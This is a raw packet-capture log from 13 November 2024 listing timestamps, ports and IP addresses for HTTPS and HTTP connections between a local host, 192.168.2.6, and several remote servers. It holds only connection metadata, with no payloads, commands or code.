Nov 13, 2024 18:08:34.855869055 CET	49927	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.855885029 CET	443	49927	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.858285904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.862339020 CET	443	49926	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.862405062 CET	443	49926	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.862531900 CET	49926	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.876760960 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.876776934 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.876832008 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.880002975 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.880016088 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.880398989 CET	49926	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.880417109 CET	443	49926	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.880723000 CET	443	49922	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:34.882694006 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.882725000 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.882787943 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.882949114 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.882961988 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.889215946 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.889276028 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.889301062 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.889328957 CET	49924	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.889338017 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.889378071 CET	49924	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.889431000 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.889530897 CET	49924	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.890793085 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.890855074 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.890875101 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.890911102 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.890934944 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.890949965 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.890990019 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.891020060 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.891058922 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.896166086 CET	49924	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.896187067 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.896483898 CET	443	49929	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.896806955 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.896826982 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.909559011 CET	49942	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.909568071 CET	443	49942	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.909852028 CET	49942	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.910530090 CET	49942	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.910543919 CET	443	49942	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.912022114 CET	49929	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.912050009 CET	443	49929	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.912481070 CET	49929	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.912487030 CET	443	49929	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.922290087 CET	443	49922	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:34.922357082 CET	49922	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:34.928694010 CET	49922	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:34.928719044 CET	443	49922	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:34.934093952 CET	49943	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:34.934115887 CET	443	49943	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:34.934185028 CET	49943	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:34.934365034 CET	49943	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:34.934380054 CET	443	49943	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:34.958040953 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.958069086 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.958076954 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.958091021 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.958126068 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.958131075 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.958153963 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.958169937 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.958199978 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.969535112 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.969597101 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.969619989 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.969640970 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.969657898 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.969683886 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.969686031 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.969715118 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.969765902 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.987410069 CET	443	49930	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.987916946 CET	49930	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.987940073 CET	443	49930	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.988362074 CET	49930	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.988368034 CET	443	49930	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.027875900 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.027946949 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.027966976 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.027987957 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.028003931 CET	49923	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.028028965 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.028052092 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.028059959 CET	49923	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.028084040 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.028107882 CET	49923	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.028115988 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.028131008 CET	49923	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.033442974 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.033514977 CET	49923	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.033523083 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.033596992 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.033649921 CET	49923	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.035954952 CET	49923	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.035974026 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.038239002 CET	443	49929	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.038271904 CET	443	49929	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.038314104 CET	443	49929	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.038341999 CET	49929	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.038373947 CET	49929	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.055304050 CET	49929	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.055327892 CET	443	49929	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.058347940 CET	49945	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.058384895 CET	443	49945	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.058495045 CET	49945	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.058619976 CET	49945	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.058629036 CET	443	49945	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.078628063 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.078658104 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.078726053 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.078746080 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.078773975 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.078789949 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.087680101 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.087707043 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.087738037 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.087793112 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.087801933 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.089679956 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.090420008 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.090457916 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.090491056 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.090496063 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.090512037 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.090524912 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.090545893 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.090893984 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.090903044 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.104732990 CET	443	49915	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.116249084 CET	443	49930	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.116316080 CET	443	49930	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.116375923 CET	49930	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.118882895 CET	49915	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.118897915 CET	443	49915	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.119728088 CET	49915	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.119733095 CET	443	49915	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.138084888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138135910 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138144970 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138154030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138168097 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138185978 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138190031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138205051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138222933 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138223886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138241053 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138242006 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138259888 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138276100 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138336897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138353109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138386965 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138395071 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138400078 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138407946 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138415098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138426065 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138430119 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138436079 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138444901 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138452053 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138458967 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138469934 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138473988 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138489008 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138489008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138499975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138519049 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138535023 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138730049 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138744116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138757944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138763905 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138773918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138788939 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138788939 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138803959 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138803959 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138813019 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138823032 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138825893 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138864994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138865948 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138880014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138894081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138900042 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138907909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138921976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138936996 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138940096 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138952017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138967037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138969898 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138976097 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.138981104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.138995886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139009953 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139012098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139027119 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139039040 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139043093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139056921 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139065027 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139072895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139082909 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139102936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139111996 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139117956 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139132977 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139157057 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139178038 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139178991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139194012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139209986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139221907 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139247894 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139349937 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139364958 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139379978 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139385939 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139395952 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139410973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139416933 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139425039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139441013 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139466047 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139475107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139476061 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139487982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139503002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139518023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139532089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139539957 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139539957 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139566898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139569044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139581919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139596939 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139612913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139620066 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139627934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139631987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139645100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139657021 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139661074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139676094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139691114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139705896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139707088 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139714956 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139720917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139731884 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139736891 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139758110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139794111 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139843941 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139859915 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139875889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139880896 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139890909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139894009 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139906883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.139909983 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139925957 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139945984 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.139995098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140008926 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140023947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140043974 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140069008 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140080929 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140094995 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140110016 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140125990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140137911 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140140057 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140156031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140161037 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140170097 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140172958 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140186071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140194893 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140208960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140224934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140229940 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140259981 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140427113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140441895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140456915 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140470982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140477896 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140485048 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140492916 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140500069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140513897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140518904 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140530109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140542984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140547037 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140557051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140572071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140574932 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140590906 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140598059 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140604019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140619040 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140624046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140634060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140647888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140654087 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140664101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140671968 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140701056 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140877008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140892029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140906096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140916109 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140922070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140928984 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140937090 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140944004 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140950918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140961885 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140966892 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140978098 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.140980959 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140995026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.140995979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141009092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141020060 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141024113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141037941 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141047001 CET	49864	80	192.168.2.6	185.215.113.206
